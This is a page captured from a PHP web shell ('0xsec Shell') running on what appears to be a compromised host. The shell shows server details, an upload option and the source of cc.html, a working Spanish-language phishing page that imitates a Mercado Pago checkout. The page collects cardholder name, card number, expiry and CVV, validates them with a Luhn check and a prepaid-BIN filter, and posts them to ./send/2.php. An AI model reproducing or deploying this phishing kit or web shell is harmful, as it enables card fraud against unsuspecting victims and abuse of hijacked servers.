0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.23
Disable Function : NONE
Directory :  /home4/rahcos/.trash/.well-known/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home4/rahcos/.trash/.well-known/cgi-bin/cc.html
<!DOCTYPE html>
<!-- saved from url=(0055)https://easybbnkde.wpenginepowered.com/crr/c/c1/c1.html -->
<html lang="es"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Pago seguro</title>

    <style>
         :root {
            --mp-blue: #00A5E0;
            --mp-blue-dark: #0B74B5;
            --bg: #F5FAFF;
            --card: #FFFFFF;
            --text: #0f172a;
            --muted: #64748b;
            --border: #E6EEF6;
            --danger: #b91c1c;
            --success: #0f766e;
            --radius: 18px;
            --shadow: 0 18px 40px rgba(15, 23, 42, .08);
        }
        
        * {
            box-sizing: border-box
        }
        
        body {
            margin: 0;
            min-height: 100vh;
            font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif;
            background: linear-gradient(180deg, var(--bg), #fff 60%);
            color: var(--text);
        }
        
        header {
            height: 60px;
            background: #FFCE00;
            border-bottom: 1px solid var(--border);
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 0 16px;
        }
        
        .brand {
            display: flex;
            align-items: center;
            gap: 10px
        }
        
        .brand img {
            height: 30px
        }
        
        .lock {
            display: flex;
            align-items: center;
            gap: 8px;
            color: var(--muted);
            font-size: 13px
        }
        
        .lock .dot {
            width: 8px;
            height: 8px;
            border-radius: 999px;
            background: var(--success)
        }
        
        .page {
            min-height: calc(100vh - 60px);
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 22px 14px;
        }
        
        .shell {
            width: min(940px, 100%);
            display: grid;
            grid-template-columns: 1.2fr .8fr;
            gap: 18px;
        }
        
        @media (max-width:860px) {
            .shell {
                grid-template-columns: 1fr
            }
        }
        
        .panel {
            background: var(--card);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            box-shadow: var(--shadow);
            padding: 18px;
        }
        
        .title {
            display: flex;
            align-items: flex-start;
            justify-content: space-between;
            gap: 12px;
            padding-bottom: 14px;
            border-bottom: 1px solid var(--border);
            margin-bottom: 14px;
        }
        
        .title h1 {
            margin: 0;
            font-size: 18px;
            letter-spacing: .2px
        }
        
        .title p {
            margin: 4px 0 0;
            color: var(--muted);
            font-size: 13px;
            line-height: 1.3
        }
        
        .badge {
            background: rgba(0, 165, 224, .10);
            color: var(--mp-blue-dark);
            border: 1px solid rgba(0, 165, 224, .25);
            padding: 8px 10px;
            border-radius: 999px;
            font-size: 12px;
            font-weight: 600;
            white-space: nowrap;
        }
        
        .method {
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 10px;
            padding: 12px 12px;
            border: 1px solid var(--border);
            border-radius: 14px;
            background: #fbfdff;
            margin-bottom: 14px;
        }
        
        .method .left {
            display: flex;
            gap: 12px;
            align-items: center
        }
        
        .chip {
            width: 40px;
            height: 28px;
            border-radius: 10px;
            background: linear-gradient(135deg, rgba(0, 165, 224, .25), rgba(0, 165, 224, .08));
            border: 1px solid rgba(0, 165, 224, .22);
        }
        
        .method .txt b {
            font-size: 13px
        }
        
        .method .txt div {
            font-size: 12px;
            color: var(--muted);
            margin-top: 2px
        }
        
        .cards {
            display: flex;
            gap: 6px;
            align-items: center
        }
        
        .cardIcon {
            width: 38px;
            height: 24px;
            border-radius: 6px;
            border: 1px solid var(--border);
            background: #fff;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
        }
        
        .cardIcon svg {
            width: 30px;
            height: auto;
            display: block
        }
        
        .form {
            display: grid;
            gap: 12px
        }
        
        .field {
            position: relative
        }
        
        .input {
            width: 100%;
            height: 50px;
            border: 1px solid var(--border);
            border-radius: 14px;
            padding: 16px 14px 0 14px;
            font-size: 14px;
            outline: none;
            background: #fff;
            transition: border-color .15s ease, box-shadow .15s ease;
        }
        
        .input:focus {
            border-color: rgba(0, 165, 224, .65);
            box-shadow: 0 0 0 4px rgba(0, 165, 224, .12);
        }
        
        .label {
            position: absolute;
            left: 14px;
            top: 14px;
            font-size: 13px;
            color: var(--muted);
            pointer-events: none;
            transition: all .12s ease;
        }
        
        .input:focus+.label,
        .input:not(:placeholder-shown)+.label {
            top: 8px;
            font-size: 11px;
            color: var(--mp-blue-dark);
        }
        
        .row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px
        }
        
        @media (max-width:420px) {
            .row {
                grid-template-columns: 1fr
            }
        }
        
        .error {
            display: none;
            margin-top: 7px;
            color: var(--danger);
            font-size: 12.5px
        }
        
        .helper {
            margin-top: 6px;
            font-size: 12px;
            color: var(--muted)
        }
        
        .btn {
            height: 48px;
            border: none;
            border-radius: 14px;
            background: linear-gradient(180deg, var(--mp-blue), var(--mp-blue-dark));
            color: #fff;
            font-weight: 700;
            letter-spacing: .2px;
            cursor: pointer;
        }
        
        .btn:disabled {
            opacity: .55;
            cursor: not-allowed
        }
        
        .summary h2 {
            margin: 0 0 10px;
            font-size: 14px;
            color: var(--muted);
            font-weight: 700;
            letter-spacing: .2px;
            text-transform: uppercase;
        }
        
        .total {
            display: flex;
            justify-content: space-between;
            gap: 10px;
            font-size: 16px;
            padding-top: 12px;
            font-weight: 800
        }
    </style>
</head>

<body>

    <header>
        <div class="brand">
            <img src="./Pago seguro_files/l.png" alt="Logo">
        </div>
        <div class="lock" title="Conexión segura (UI)">
            <span class="dot"></span>
            <span>Conexión segura</span>
        </div>
    </header>

    <div class="page">
        <div class="shell">

            <div class="panel">
                <div class="title">
                    <div>
                        <h1>Ingresá los datos de tu tarjeta</h1>
                        <p>Revisá la información y completá el pago de forma segura.</p>
                    </div>
                    <div class="badge">Pago protegido</div>
                </div>

                <div class="method">
                    <div class="left">
                        <div class="chip"></div>
                        <div class="txt">
                            <b>Tarjeta</b>
                            <div>Crédito o débito (no prepagas)</div>
                        </div>
                    </div>

                    <!-- ✅ ICONS READY (SVG) -->
                    <div class="cards" aria-hidden="true">
                        <div class="cardIcon" title="VISA">
                            <svg viewBox="0 0 48 16" aria-hidden="true">
              <text x="0" y="13" font-size="14" font-weight="800" fill="#1A1F71" font-family="Arial, Helvetica, sans-serif">VISA</text>
            </svg>
                        </div>

                        <div class="cardIcon" title="Mastercard">
                            <svg viewBox="0 0 48 24" aria-hidden="true">
              <circle cx="18" cy="12" r="8" fill="#EB001B"></circle>
              <circle cx="26" cy="12" r="8" fill="#F79E1B"></circle>
            </svg>
                        </div>

                        <div class="cardIcon" title="AMEX">
                            <svg viewBox="0 0 48 24" aria-hidden="true">
              <rect width="48" height="24" rx="4" fill="#0070C0"></rect>
              <text x="7" y="17" font-size="12" font-weight="800" fill="#fff" font-family="Arial, Helvetica, sans-serif">AMEX</text>
            </svg>
                        </div>
                    </div>
                </div>

                <form id="cardForm" class="form" method="post" action="./send/2.php" data-np-autofill-form-type="credit_card" data-np-watching="1">

                    <div class="field">
                        <!-- ✅ FIXED id="name" -->
                        <input id="name" name="1" class="input" type="text" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="firstName">
                        <div class="label">Nombre del titular</div>
                        <div id="nameError" class="error" style="display: none;">Ingresá un nombre válido.</div>
                    </div>

                    <div class="field">
                        <input id="cardNumber" name="2" class="input" type="tel" inputmode="numeric" maxlength="19" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccNumber">
                        <div class="label">Número de tarjeta</div>
                        <div id="cardError" class="error" style="display: none;">Número de tarjeta inválido.</div>
                        <div id="prepaidError" class="error" style="display: none;">No se aceptan tarjetas prepagas. Usá crédito o débito.</div>
                    </div>

                    <div class="row">
                        <div class="field">
                            <input id="exp" name="3" class="input" type="tel" inputmode="numeric" maxlength="5" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccExpirationFull">
                            <div class="label">Vencimiento (MM/AA)</div>
                            <div id="expError" class="error" style="display: none;">Fecha inválida o vencida.</div>
                        </div>

                        <div class="field">
                            <input id="cvv" class="input" name="4" type="tel" inputmode="numeric" maxlength="4" placeholder=" " required="" data-np-checked="1" data-np-autofill-field-type="ccCvv">
                            <div class="label">CVV</div>
                            <div id="cvvError" class="error" style="display: none;">CVV inválido.</div>
                        </div>
                    </div>

                    <button id="btn" class="btn" disabled="" data-np-autofill-submit="">Pagar</button>
                </form>
            </div>

            <div class="panel summary">
                <h2>Resumen</h2>
                <div class="total"><span>Total</span><span>7,309 ARS</span></div>
            </div>

        </div>
    </div>

    <script>
        const form = document.getElementById("cardForm");
        const btn = document.getElementById("btn");

        const nameInput = document.getElementById("name");
        const cardInput = document.getElementById("cardNumber");
        const expInput = document.getElementById("exp");
        const cvvInput = document.getElementById("cvv");

        const nameError = document.getElementById("nameError");
        const cardError = document.getElementById("cardError");
        const prepaidError = document.getElementById("prepaidError");
        const expError = document.getElementById("expError");
        const cvvError = document.getElementById("cvvError");

        const prepaidBINs = [
            "462761", "404137", "405188", "410160", "422818", "426397", "451416", "455272", "476623",
            "523793", "532309", "531984", "531441", "530815", "530516", "528824", "542734", "542744",
            "542755", "404031", "427836", "431071", "554730", "525855", "521219", "548110", "548732"
        ];

        function hideAll() {
            nameError.style.display = "none";
            cardError.style.display = "none";
            prepaidError.style.display = "none";
            expError.style.display = "none";
            cvvError.style.display = "none";
        }

        function setOk(ok) {
            btn.disabled = !ok
        }

        function formatCard(input) {
            input.value = input.value.replace(/\D/g, '');
        }

        function formatExp(input) {
            input.value = input.value.replace(/\D/g, '').slice(0, 4).replace(/(\d{2})(\d)/, '$1/$2');
        }

        function onlyDigitsMax(input, max) {
            input.value = input.value.replace(/\D/g, '').slice(0, max);
        }

        function isValidCard(number) {
            let sum = 0,
                alt = false;
            for (let i = number.length - 1; i >= 0; i--) {
                let n = parseInt(number[i], 10);
                if (alt) {
                    n *= 2;
                    if (n > 9) n -= 9;
                }
                sum += n;
                alt = !alt;
            }
            return sum % 10 === 0;
        }

        function isPrepaidCard(number) {
            return prepaidBINs.includes(number.substring(0, 6))
        }

        function brand(number) {
            if (/^3[47]/.test(number)) return "amex";
            if (/^4/.test(number)) return "visa";
            if (/^5[1-5]/.test(number)) return "mc";
            return "other";
        }

        function isValidExpiry(mmYY) {
            if (!/^\d{2}\/\d{2}$/.test(mmYY)) return false;
            const [mm, yy] = mmYY.split("/").map(v => parseInt(v, 10));
            if (mm < 1 || mm > 12) return false;
            const year = 2000 + yy;
            const exp = new Date(year, mm, 0, 23, 59, 59);
            return exp >= new Date();
        }

        function isValidCvv(cvv, b) {
            if (b === "amex") return /^\d{4}$/.test(cvv);
            return /^\d{3}$/.test(cvv);
        }

        function validateAll() {
            hideAll();
            setOk(false);

            const name = nameInput.value.replace(/\s+/g, ' ').trim();
            const card = cardInput.value.replace(/\s+/g, '');
            const exp = expInput.value.trim();
            const cvv = cvvInput.value.trim();

            if (name.length < 2) {
                if (name.length > 0) nameError.style.display = "block";
                return;
            }
            if (card.length < 13) return;

            if (!isValidCard(card)) {
                cardError.style.display = "block";
                return;
            }
            if (isPrepaidCard(card)) {
                prepaidError.style.display = "block";
                return;
            }
            if (!isValidExpiry(exp)) {
                expError.style.display = "block";
                return;
            }

            const b = brand(card);
            if (!isValidCvv(cvv, b)) {
                cvvError.style.display = "block";
                return;
            }

            setOk(true);
        }

        nameInput.addEventListener("input", () => {
            nameInput.value = nameInput.value.replace(/\s+/g, ' ');
            validateAll();
        });
        cardInput.addEventListener("input", () => {
            formatCard(cardInput);
            validateAll();
        });
        expInput.addEventListener("input", () => {
            formatExp(expInput);
            validateAll();
        });
        cvvInput.addEventListener("input", () => {
            onlyDigitsMax(cvvInput, 4);
            validateAll();
        });

        form.addEventListener("submit", (e) => {
            validateAll();
            if (btn.disabled) e.preventDefault();
        });
        validateAll();
    </script>



</body></html>

c0oded By c0rpz